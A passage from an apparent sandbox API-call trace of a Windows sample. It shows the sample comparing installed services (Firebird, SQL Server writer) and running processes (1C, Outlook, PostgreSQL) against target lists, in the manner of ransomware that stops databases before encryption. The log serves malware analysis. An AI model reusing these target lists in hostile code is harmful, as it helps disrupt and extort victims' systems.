(lpString1="sqlwriter", lpString2="eventlog") returned 1 [0219.939] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0219.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0219.939] lstrlenW (lpString="EventSystem") returned 11 [0219.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0219.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0219.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0219.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0219.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0219.939] lstrlenW (lpString="FontCache") returned 9 [0219.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0219.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0219.939] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0219.939] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0219.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0219.939] lstrlenW (lpString="gpsvc") returned 5 [0219.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0219.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0219.939] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0219.939] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0219.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0219.939] lstrlenW (lpString="iphlpsvc") returned 8 [0219.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.939] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0219.939] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0219.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0219.940] lstrlenW (lpString="LanmanServer") returned 12 [0219.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0219.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0219.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0219.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0219.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0219.940] lstrlenW (lpString="LanmanWorkstation") returned 17 [0219.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0219.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0219.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0219.940] lstrlenW (lpString="lmhosts") returned 7 [0219.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0219.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0219.940] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0219.940] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0219.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0219.940] lstrlenW (lpString="MMCSS") returned 5 [0219.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0219.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0219.940] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0219.940] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0219.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0219.940] lstrlenW (lpString="MpsSvc") returned 6 [0219.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0219.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0219.941] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0219.941] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0219.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0219.941] lstrlenW (lpString="Netman") returned 6 [0219.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0219.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0219.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0219.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0219.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0219.941] lstrlenW (lpString="netprofm") returned 8 [0219.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0219.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0219.941] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0219.941] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0219.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0219.941] lstrlenW (lpString="NlaSvc") returned 6 [0219.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0219.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0219.941] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0219.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0219.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0219.941] lstrlenW (lpString="nsi") returned 3 [0219.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0219.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0219.941] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0219.941] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0219.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0219.941] lstrlenW (lpString="PcaSvc") returned 6 [0219.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0219.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0219.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0219.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0219.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0219.942] lstrlenW (lpString="PlugPlay") returned 8 [0219.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0219.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0219.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0219.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0219.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0219.942] lstrlenW (lpString="Power") returned 5 [0219.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0219.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0219.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0219.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0219.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0219.942] lstrlenW (lpString="ProfSvc") returned 7 [0219.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0219.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0219.942] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0219.942] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0219.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0219.942] lstrlenW (lpString="RpcEptMapper") returned 12 [0219.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.943] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0219.943] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0219.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0219.943] lstrlenW (lpString="RpcSs") returned 5 [0219.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0219.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0219.943] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0219.943] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0219.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0219.943] lstrlenW (lpString="SamSs") returned 5 [0219.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0219.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0219.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0219.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0219.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0219.943] lstrlenW (lpString="Schedule") returned 8 [0219.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0219.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0219.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0219.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0219.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0219.943] lstrlenW (lpString="SENS") returned 4 [0219.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0219.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0219.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0219.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0219.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0219.943] lstrlenW (lpString="ShellHWDetection") returned 16 [0219.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.944] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0219.944] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0219.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0219.944] lstrlenW (lpString="Spooler") returned 7 [0219.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0219.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0219.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0219.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0219.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0219.944] lstrlenW (lpString="sppsvc") returned 6 [0219.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0219.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0219.944] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0219.944] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0219.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0219.944] lstrlenW (lpString="swprv") returned 5 [0219.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0219.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0219.944] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0219.944] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0219.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0219.944] lstrlenW (lpString="SysMain") returned 7 [0219.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0219.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0219.945] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0219.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0219.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0219.945] lstrlenW (lpString="Themes") returned 6 [0219.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0219.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0219.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0219.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0219.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0219.945] lstrlenW (lpString="TrkWks") returned 6 [0219.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0219.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0219.945] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0219.945] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0219.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0219.945] lstrlenW (lpString="UxSms") returned 5 [0219.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0219.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0219.945] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0219.945] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0219.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0219.945] lstrlenW (lpString="VSS") returned 3 [0219.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0219.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0219.945] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0219.945] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0219.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0219.946] lstrlenW (lpString="WdiServiceHost") returned 14 [0219.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0219.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0219.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0219.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0219.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0219.946] lstrlenW (lpString="WdiSystemHost") returned 13 [0219.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0219.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0219.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0219.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0219.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0219.946] lstrlenW (lpString="WinDefend") returned 9 [0219.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0219.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0219.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0219.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0219.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0219.946] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0219.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0219.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0219.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0219.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0219.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0219.946] lstrlenW (lpString="Winmgmt") returned 7 [0219.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0219.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0219.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0219.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0219.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0219.947] lstrlenW (lpString="wscsvc") returned 6 [0219.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0219.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0219.947] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0219.947] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0219.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0219.947] lstrlenW (lpString="wuauserv") returned 8 [0219.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0219.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0219.947] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0219.947] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0219.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0219.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0219.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0219.949] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.951] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.951] lstrlenW (lpString="System") returned 6 [0219.951] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0219.951] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0219.951] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0219.952] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0219.952] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.952] lstrlenW (lpString="smss.exe") returned 8 [0219.953] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.953] lstrlenW (lpString="csrss.exe") returned 9 [0219.953] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.954] lstrlenW (lpString="wininit.exe") returned 11 [0219.954] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.955] lstrlenW (lpString="csrss.exe") returned 9 [0219.955] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.956] lstrlenW (lpString="winlogon.exe") returned 12 [0219.956] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.957] lstrlenW (lpString="services.exe") returned 12 [0219.957] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.958] lstrlenW (lpString="lsass.exe") returned 9 [0219.958] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0219.959] lstrlenW (lpString="lsm.exe") returned 7 [0219.959] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.960] lstrlenW (lpString="svchost.exe") returned 11 [0219.960] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.961] lstrlenW (lpString="svchost.exe") returned 11 [0219.961] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.962] lstrlenW (lpString="svchost.exe") returned 11 [0219.962] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.963] lstrlenW (lpString="svchost.exe") returned 11 [0219.963] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.964] lstrlenW (lpString="svchost.exe") returned 11 [0219.964] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.965] lstrlenW (lpString="audiodg.exe") returned 11 [0219.965] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.966] lstrlenW (lpString="svchost.exe") returned 11 [0219.966] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.966] lstrlenW (lpString="svchost.exe") returned 11 [0219.966] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.967] lstrlenW (lpString="dwm.exe") returned 7 [0219.967] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.968] lstrlenW (lpString="explorer.exe") returned 12 [0219.968] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.969] lstrlenW (lpString="spoolsv.exe") returned 11 [0219.969] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 